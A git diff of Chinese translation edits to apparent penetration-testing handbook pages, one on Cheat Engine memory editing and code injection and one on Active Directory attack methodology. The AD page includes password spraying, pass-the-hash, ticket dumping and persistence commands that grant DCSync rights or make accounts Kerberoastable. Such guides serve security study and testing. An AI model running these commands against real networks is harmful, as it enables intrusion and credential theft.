一旦你 **找到****寻找的值**(更多内容在接下来的步骤中),你可以通过双击它来 **修改它**,然后双击它的值:
![](<../../images/image (563).png>)
最后**勾选复选框**以在内存中完成修改:
最后 **勾选复选框** 以在内存中完成修改:
![](<../../images/image (385).png>)
对**内存**的**更改**将立即**应用**(请注意,直到游戏再使用此值,该值**不会在游戏中更新**)。
**内存** **更改** 将立即 **应用**(请注意,直到游戏再使用此值,该值 **不会在游戏中更新**)。
## 搜索值
@ -46,55 +46,55 @@
### 通过已知的变化
假设你在寻找值100你**执行扫描**以搜索该值,并且你发现了很多匹配项:
假设你在寻找值 100**执行扫描** 搜索该值,并且你发现了很多匹配项:
![](<../../images/image (108).png>)
然后,你做了一些事情使得**值发生变化**,你**停止**游戏并**执行**一个**下一次扫描**
然后,你做了一些事情使得 **值发生变化**,你 **停止** 游戏并 **执行** **下一次扫描**
![](<../../images/image (684).png>)
Cheat Engine 将搜索**从100变为新值**的**值**。恭喜你,你**找到了**你正在寻找的值的**地址**,现在你可以修改它。\
_如果你仍然有多个值做一些事情再次修改该值并执行另一个“下一次扫描”以过滤地址。_
Cheat Engine 将搜索 **从 100 变为新值****值**。恭喜,你 **找到了** 你在寻找的 **地址**,现在你可以修改它。\
_如果你仍然有多个值做一些事情再次修改该值并执行另一个“下一次扫描”以过滤地址。_
### 未知值,已知变化
在你**不知道值**但你知道**如何使其变化**(甚至变化的值)的情况下,你可以寻找你的数字。
在你 **不知道值** 但你知道 **如何使其变化**(甚至变化的值)的情况下,你可以寻找你的数字。
所以,首先执行一种类型为“**未知初始值**”的扫描:
![](<../../images/image (890).png>)
然后,使值发生变化,指示**值**是**如何变化的**在我的情况下它减少了1并执行**下一次扫描**
然后,使值发生变化,指示 **值** **如何变化**(在我的情况下是减少了 1并执行 **下一次扫描**
![](<../../images/image (371).png>)
你将看到**所有以所选方式修改的值**
你将看到 **所有以所选方式修改的值**
![](<../../images/image (569).png>)
一旦你找到了你的值,你可以修改它。
请注意,有很多**可能的变化**,你可以根据需要**多次执行这些步骤**以过滤结果:
请注意,有很多 **可能的变化**,你可以根据需要 **多次执行这些步骤** 以过滤结果:
![](<../../images/image (574).png>)
### 随机内存地址 - 查找代码
到目前为止,我们学习了如何找到存储值的地址,但在**不同的游戏执行中,该地址可能位于内存的不同位置**。所以让我们找出如何始终找到该地址。
到目前为止,我们学习了如何找到存储值的地址,但在 **游戏的不同执行中,该地址可能位于内存的不同位置**。所以让我们找出如何始终找到该地址。
使用一些提到的技巧,找到当前游戏存储重要值的地址。然后(如果你愿意,可以停止游戏)右键单击找到的**地址**选择“**查找访问此地址的内容**”或“**查找写入此地址的内容**”:
使用一些提到的技巧,找到当前游戏存储重要值的地址。然后(如果你愿意,可以停止游戏)右键单击找到的 **地址**选择“**查找访问此地址的内容**”或“**查找写入此地址的内容**”:
![](<../../images/image (1067).png>)
**第一个选项**有助于了解**代码**的**哪些部分**在**使用**此**地址**(这对于更多事情很有用,比如**知道你可以在哪里修改游戏的代码**)。\
**第二个选项**更为**具体**,在这种情况下更有帮助,因为我们想知道**这个值是从哪里写入的**。
**第一个选项** 有助于了解 **代码** **哪些部分** **使用** **地址**(这对于更多事情很有用,比如 **知道你可以在哪里修改游戏的代码**)。\
**第二个选项** 更加 **具体**,在这种情况下更有帮助,因为我们想知道 **这个值是从哪里写入的**
一旦你选择了其中一个选项,**调试器**将**附加**到程序,并且会出现一个新的**空窗口**。现在,**玩**游戏并**修改**该**值**(无需重新启动游戏)。**窗口**应该会**填充**正在**修改**该**值**的**地址**
一旦你选择了其中一个选项,**调试器** **附加** 到程序,并且会出现一个新的 **空窗口**。现在,**玩** **游戏** **修改** **值**(无需重新启动游戏)。**窗口** 应该会 **填充** 正在 **修改** **值** **地址**
![](<../../images/image (91).png>)
现在你找到了修改值的地址,你可以**随意修改代码**Cheat Engine 允许你快速将其修改为 NOP
现在你找到了修改值的地址,你可以 **随意修改代码**Cheat Engine 允许你快速将其修改为 NOP
![](<../../images/image (1057).png>)
@ -102,22 +102,22 @@ _如果你仍然有多个值请做一些事情再次修改该值并执行
### 随机内存地址 - 查找指针
按照之前的步骤,找到你感兴趣的值所在的位置。然后,使用“**查找写入此地址的内容**”找出哪个地址写入此值,并双击它以获取反汇编视图:
按照之前的步骤,找到你感兴趣的值。然后,使用“**查找写入此地址的内容**”找出哪个地址写入此值,并双击它以获取反汇编视图:
![](<../../images/image (1039).png>)
然后,执行新的扫描**搜索“\[]”之间的十六进制值**(在这种情况下是$edx的值
然后,执行新的扫描 **搜索“\[]”之间的十六进制值**(在这种情况下是 $edx 的值):
![](<../../images/image (994).png>)
_如果出现多个通常需要最小的地址_\
现在,我们已经**找到了将修改我们感兴趣的值的指针**。
现在,我们已经 **找到了将修改我们感兴趣的值的指针**
点击“**手动添加地址**”:
![](<../../images/image (990).png>)
现在,勾选“指针”复选框,并在文本框中添加找到的地址(在这种情况下,前一张图片中找到的地址是“Tutorial-i386.exe”+2426B0
现在,勾选“指针”复选框,并在文本框中添加找到的地址(在这种情况下,前一张图片中找到的地址是 "Tutorial-i386.exe"+2426B0
![](<../../images/image (392).png>)
@ -127,22 +127,22 @@ _如果你仍然有多个值请做一些事情再次修改该值并执行
![](<../../images/image (308).png>)
现在,每次你修改该值时,你都在**修改重要值,即使值所在的内存地址不同。**
现在,每次你修改该值时,即使值所在的内存地址不同,你也在 **修改重要值**
### 代码注入
代码注入是一种技术,你将一段代码注入目标进程,然后重新路由代码的执行以通过你自己编写的代码(例如给你积分而不是减少它们)。
所以,想象一下你找到了一个将1减去你玩家生命值的地址
所以,想象一下你找到了一个地址,它正在从你的玩家生命中减去 1
![](<../../images/image (203).png>)
点击显示反汇编以获取**反汇编代码**。\
然后,点击**CTRL+a**以调用自动汇编窗口并选择 _**模板 --> 代码注入**_
点击显示反汇编以获取 **反汇编代码**。\
然后,点击 **CTRL+a** 调出自动汇编窗口并选择 _**模板 --> 代码注入**_
![](<../../images/image (902).png>)
填写**你想要修改的指令的地址**(这通常是自动填充的):
填写 **你想要修改的指令的地址**(这通常是自动填充的):
![](<../../images/image (744).png>)
@ -150,11 +150,11 @@ _如果你仍然有多个值请做一些事情再次修改该值并执行
![](<../../images/image (944).png>)
因此,将你的新汇编代码插入到“**newmem**”部分,并从“**originalcode**”中删除原始代码,如果你不想让它被执行\*\*.\*\* 在这个例子中注入的代码将增加2点而不是减少1
因此,将你的新汇编代码插入到“**newmem**”部分,并从“**originalcode**”中删除原始代码,如果你不想让它被执行。在这个例子中,注入的代码将增加 2 分而不是减去 1
![](<../../images/image (521).png>)
**点击执行等,你的代码应该被注入到程序中,改变功能的行为!**
**点击执行等,你的代码应该被注入到程序中,改变功能的行为!**
## **参考**

View File

@ -14,7 +14,7 @@
2. **对象** 指目录中的实体,包括 **用户**、**组** 或 **共享文件夹**
3. **域** 作为目录对象的容器,多个域可以在一个 **森林** 中共存,每个域维护自己的对象集合。
4. **树** 一组共享公共根域的域。
5. **森林** Active Directory 中组织结构的顶点,由多个树组成,彼此之间有 **信任关系**
5. **森林** Active Directory 中组织结构的顶点,由多个树组成,树之间存在 **信任关系**
**Active Directory 域服务 (AD DS)** 包含一系列对网络内集中管理和通信至关重要的服务。这些服务包括:
@ -25,7 +25,7 @@
5. **权限管理** 通过规范其未经授权的分发和使用来帮助保护版权材料。
6. **DNS 服务** **域名** 的解析至关重要。
有关更详细的解释,请查看:[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
有关更详细的说明,请查看:[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
@ -36,15 +36,18 @@
您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令,以枚举/利用 AD。
> [!WARNING]
> Kerberos 通信 **需要完全限定的名称 (FQDN)** 来执行操作。如果您尝试通过 IP 地址访问机器,**它将使用 NTLM 而不是 Kerberos**。
## Recon Active Directory (No creds/sessions)
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
- **渗透测试网络:**
- 扫描网络,查找机器和开放端口,并尝试 **利用漏洞****提取凭据**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 扫描网络,查找机器和开放端口,并尝试 **利用漏洞****从中提取凭据**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 枚举 DNS 可能会提供有关域中关键服务器的信息,如 Web、打印机、共享、VPN、媒体等。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md)以获取有关如何执行此操作的更多信息。
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
- **检查 smb 服务上的空和访客访问**(这在现代 Windows 版本上不起作用):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@ -78,7 +81,7 @@
- **匿名 SMB/LDAP 枚举:** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示用户需要进行预身份验证。
- **对 MS-NRPC 的无身份验证**:在域控制器上使用 auth-level = 1无身份验证对 MS-NRPCNetlogon接口进行操作。该方法在绑定 MS-NRPC 接口后调用 `DsrGetDcNameEx2` 函数,以检查用户或计算机是否存在而无需任何凭据。 [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 工具实现了这种类型的枚举。研究可以在 [这里](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) 找到。
- **对 MS-NRPC 的无身份验证**:在域控制器上使用 auth-level = 1无身份验证对 MS-NRPCNetlogon接口进行调用。该方法在绑定 MS-NRPC 接口后调用 `DsrGetDcNameEx2` 函数,以检查用户或计算机是否存在而无需任何凭据。 [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 工具实现了这种类型的枚举。研究可以在 [这里](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) 找到。
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -92,7 +95,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
```
- **OWA (Outlook Web Access) 服务器**
如果您在网络中发现了这些服务器,您还可以对其执行 **用户枚举**。例如,您可以使用工具 [**MailSniper**](https://github.com/dafthack/MailSniper)
如果您在网络中发现了这些服务器,您还可以对其执行 **用户枚举**。例如,您可以使用工具 [**MailSniper**](https://github.com/dafthack/MailSniper):
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -105,17 +108,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
> 你可以在 [**这个 GitHub 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
>
> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
> 然而,你应该在之前的侦查步骤中获得**公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
### 知道一个或多个用户名
好的,你已经知道一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码派生加密数据。
- [**密码喷洒**](password-spraying.md):让我们尝试对每个发现的用户使用最 **常见的密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以 **喷洒 OWA 服务器**以尝试访问用户的邮件服务器。
- [**ASREPRoast**](asreproast.md):如果用户**没有**属性 _DONT_REQ_PREAUTH_你可以**请求该用户的 AS_REP 消息**,其中将包含一些由用户密码派生加密数据。
- [**密码喷洒**](password-spraying.md):让我们尝试对每个发现的用户使用最**常见的密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以**喷洒 OWA 服务器**以尝试访问用户的邮件服务器。
{{#ref}}
password-spraying.md
@ -123,7 +126,7 @@ password-spraying.md
### LLMNR/NBT-NS 中毒
你可能能够 **获取** 一些挑战 **哈希** 来破解 **中毒**些网络协议:
你可能能够**获取**一些挑战**哈希**以破解**中毒**某些网络协议:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -131,21 +134,21 @@ password-spraying.md
### NTLM 中继
如果你已经成功枚举了活动目录,你将拥有 **更多的电子邮件和对网络的更好理解**。你可能能够强制 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来访问 AD 环境
如果你已经成功枚举了活动目录,你将拥有**更多的电子邮件和对网络的更好理解**。你可能能够强制 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 以获取对 AD 环境的访问
### 窃取 NTLM 凭
### 窃取 NTLM 凭
如果你可以使用 **null 或访客用户** **访问其他 PC 或共享**,你可以 **放置文件**(如 SCF 文件),如果以某种方式被访问,将 **触发对你的 NTLM 认证**,这样你就可以 **窃取** **NTLM 挑战** 进行破解
如果你可以使用**空或访客用户**访问其他 PC 或共享,你可以**放置文件**(如 SCF 文件),如果以某种方式被访问,将**触发对你的 NTLM 认证**,这样你就可以**窃取** **NTLM 挑战**以破解它
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 使用凭/会话枚举活动目录
## 使用凭/会话枚举活动目录
在这个阶段,你需要 **获取有效域账户的凭证或会话。** 如果你有一些有效的凭证或作为域用户的 shell**你应该记住之前给出的选项仍然是妥协其他用户的选项**。
在这个阶段,你需要**破坏有效域账户的凭据或会话**。如果你有一些有效的凭据或作为域用户的 shell**你应该记住之前给出的选项仍然是破坏其他用户的选项**。
在开始经过身份验证的枚举之前,你应该知道 **Kerberos 双跳问题**
在开始经过身份验证的枚举之前,你应该知道**Kerberos 双跳问题**
{{#ref}}
kerberos-double-hop-problem.md
@ -153,18 +156,18 @@ kerberos-double-hop-problem.md
### 枚举
成功获取一个账户是 **开始妥协整个域的重要一步**,因为你将能够开始 **活动目录枚举:**
成功破坏一个账户是**开始破坏整个域的重要一步**,因为你将能够开始**活动目录枚举:**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**密码喷洒**](password-spraying.md),你可以获得 **所有用户名的列表**,并尝试被妥协账户的密码、空密码和新的有前景的密码。
关于 [**ASREPRoast**](asreproast.md),你现在可以找到每个可能的易受攻击用户,关于 [**密码喷洒**](password-spraying.md),你可以获得**所有用户名的列表**并尝试被破坏账户的密码、空密码和新的有前景的密码。
- 你可以使用 [**CMD 进行基本侦查**](../basic-cmd-for-pentesters.md#domain-info)
- 你也可以使用 [**powershell 进行侦查**](../basic-powershell-for-pentesters/index.html),这将更加隐蔽
- 你还可以 [**使用 powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它 **不是很隐蔽**(取决于你使用的收集方法),但 **如果你不在乎**,你应该完全尝试一下。找出用户可以 RDP 的地方,找到其他组的路径等。
- 另一个在活动目录中进行侦查的惊人工具是 [**BloodHound**](bloodhound.md)。它**不是很隐蔽**(取决于你使用的收集方法),但**如果你不在乎**这一点,你绝对应该试试。找出用户可以 RDP 的地方,找到其他组的路径等。
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 你可以使用 **AdExplorer.exe** 这个 **GUI 工具** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索,以查找 _userPassword__unixUserPassword_ 字段中的凭证,甚至是 _Description_。请参阅 [PayloadsAllTheThings 上的 AD 用户注释中的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 你可以使用带 GUI 的工具 **AdExplorer.exe** 来枚举目录,来自 **SysInternal** 套件。
- 你还可以使用 **ldapsearch** 在 LDAP 数据库中搜索,以查找 _userPassword__unixUserPassword_ 字段中的凭据,甚至是 _Description_。请参阅 [PayloadsAllTheThings 中 AD 用户注释的密码](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 以获取其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你还可以尝试自动化工具,如:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -177,7 +180,7 @@ kerberos-double-hop-problem.md
### Kerberoast
Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
Kerberoasting 涉及获取**TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
更多信息请参见:
@ -185,19 +188,19 @@ Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相
kerberoast.md
{{#endref}}
### 远程连接RDP、SSH、FTP、Win-RM 等)
### 远程连接 (RDP, SSH, FTP, Win-RM 等)
一旦你获得了一些凭证,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
一旦你获得了一些凭据,你可以检查是否可以访问任何**机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
### 本地权限提升
如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中LSASS和本地SAM转储其他用户的哈希**
如果你已经破坏了凭据或作为普通域用户的会话,并且你可以使用该用户**访问域中的任何机器**,你应该尝试找到**本地提升权限和寻找凭据的方法**。这是因为只有拥有本地管理员权限,你才能**在内存中LSASS和本地SAM转储其他用户的哈希**。
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
**不太可能** 在当前用户中找到 **票证**,使你有权限访问意外资源,但你可以检查:
很**不可能**在当前用户中找到**票证**,使你有权限访问意外资源,但你可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -207,9 +210,9 @@ kerberoast.md
```
### NTLM Relay
如果你成功枚举了活动目录,你将会有**更多的电子邮件和对网络的更好理解**。你可能能够强制进行 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**。**
如果你已经成功枚举了活动目录,你将会有**更多的电子邮件和对网络的更好理解**。你可能能够强制进行 NTLM [**中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**。**
### **在计算机共享中查找凭据**
### 在计算机共享 | SMB 共享中查找凭据
现在你有了一些基本凭据,你应该检查是否可以**找到**任何**在 AD 中共享的有趣文件**。你可以手动进行,但这是一项非常无聊的重复任务(如果你发现数百个需要检查的文档,更是如此)。
@ -231,14 +234,14 @@ kerberoast.md
printnightmare.md
{{#endref}}
## 在具有特权凭据/会话的活动目录上进行特权提升
## 在具有特权凭据/会话的 Active Directory 上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
### 哈希提取
希望你已经成功**破坏了一些本地管理员**账户,使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 包括中继、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[本地提升特权](../windows-local-privilege-escalation/index.html)。\
然后,是时候转储内存和本地的所有哈希了。\
然后,是时候在内存和本地转储所有哈希了。\
[**阅读此页面以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 传递哈希
@ -272,12 +275,12 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 注意,这非常**嘈杂**,并且**LAPS**会**减轻**这种情况。
> 注意,这非常**嘈杂**,并且**LAPS**会**减轻**这种情况。
### MSSQL 滥用与受信任链接
如果用户有权限**访问 MSSQL 实例**,他可能能够利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **哈希**,甚至执行**中继****攻击**。\
此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在那里他可以执行命令。\
此外,如果 MSSQL 实例被其他 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库有权限,他将能够**利用信任关系在其他实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一个配置错误的数据库,在其中执行命令。\
**数据库之间的链接甚至可以跨森林信任工作。**
{{#ref}}
@ -286,9 +289,9 @@ abusing-ad-mssql.md
### 不受限制的委派
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 的计算机对象,并且你在该计算机上拥有域权限,你将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派,甚至可以**自动妥协打印服务器**(希望它是 DC
如果发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx> ) 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**将能够转储他的 TGT并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派,甚至可以**自动妥协打印服务器**(希望它是 DC
{{#ref}}
unconstrained-delegation.md
@ -296,8 +299,8 @@ unconstrained-delegation.md
### 受限委派
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户访问计算机中的某些服务**。\
然后,如果你**妥协**该用户/计算机的哈希,你将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户访问计算机中的某些服务**。\
然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
{{#ref}}
constrained-delegation.md
@ -305,7 +308,7 @@ constrained-delegation.md
### 基于资源的受限委派
在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行:
在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
{{#ref}}
resource-based-constrained-delegation.md
@ -313,7 +316,7 @@ resource-based-constrained-delegation.md
### ACL 滥用
被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让**横向移动**/**提升**权限。
被妥协的用户可能对某些域对象拥有一些**有趣的权限**,这可能让**横向移动**/**提升**权限。
{{#ref}}
acl-persistence-abuse/
@ -354,17 +357,17 @@ ad-certificates/certificate-theft.md
### 证书模板滥用
如果**易受攻击的模板**被配置,可以利用它们来提升权限:
如果配置了**易受攻击的模板**,则可以滥用它们以提升权限:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
## 使用高权限账户的后期利用
## 高权限账户的后期利用
### 转储域凭据
一旦你获得**域管理员**或更好的**企业管理员**权限,你可以**转储**域数据库_ntds.dit_。
一旦您获得**域管理员**或更好的**企业管理员**权限,您可以**转储**域数据库_ntds.dit_。
[**有关 DCSync 攻击的更多信息可以在这里找到**](dcsync.md)。
@ -373,29 +376,29 @@ ad-certificates/domain-escalation.md
### 权限提升作为持久性
之前讨论的一些技术可以用于持久性。\
例如,可以:
例如,可以:
- 使用户易受[**Kerberoast**](kerberoast.md)攻击
- 使用户易受 [**Kerberoast**](kerberoast.md) 攻击
```powershell
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- 使用户易受[**ASREPRoast**](asreproast.md)攻击
- 使用户易受 [**ASREPRoast**](asreproast.md) 攻击
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- 授予用户[**DCSync**](#dcsync)权限
- 授予用户 [**DCSync**](#dcsync) 权限
```powershell
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### 银票
**银票攻击**为特定服务创建一个**合法的票据授予服务TGS票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
**银票攻击**为特定服务创建一个**合法的票据授予服务 (TGS) 票据**,使用**NTLM 哈希**(例如,**PC 账户的哈希**)。此方法用于**访问服务权限**。
{{#ref}}
silver-ticket.md
@ -403,9 +406,9 @@ silver-ticket.md
### 金票
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGTs)**,这些票据对于在 AD 网络中进行身份验证至关重要。
**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGT)**,这些票据对于在 AD 网络中进行身份验证至关重要。
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGTs**(银票攻击)。
一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGT**(银票攻击)。
{{#ref}}
golden-ticket.md
@ -437,13 +440,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
Active Directory 中的**AdminSDHolder**对象通过在这些组应用标准的**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反,允许不当访问,除非进行严格监控。
Active Directory 中的**AdminSDHolder**对象通过在这些组应用标准的**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反,允许不当访问,除非进行严格监控。
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**有关 AdminDSHolder 组的更多信息。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM 凭据
在每个**域控制器 (DC)** 内,存在一个**本地管理员**账户。通过在这样的机器上获得管理员权限,可以使用**mimikatz**提取本地管理员哈希。随后,需要进行注册表修改以**启用使用此密码**从而允许远程访问本地管理员账户。
在每个**域控制器 (DC)** 内,存在一个**本地管理员**账户。通过在这样的机器上获得管理员权限,可以使用**mimikatz**提取本地管理员哈希。随后,需要进行注册表修改以**启用使用此密码**,允许远程访问本地管理员账户。
{{#ref}}
dsrm-credentials.md
@ -451,7 +454,7 @@ dsrm-credentials.md
### ACL 持久性
你可以**给予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
您可以**授予**某个**用户**对某些特定域对象的**特殊权限**,这将使该用户**在未来提升权限**。
{{#ref}}
acl-persistence-abuse/
@ -459,7 +462,7 @@ acl-persistence-abuse/
### 安全描述符
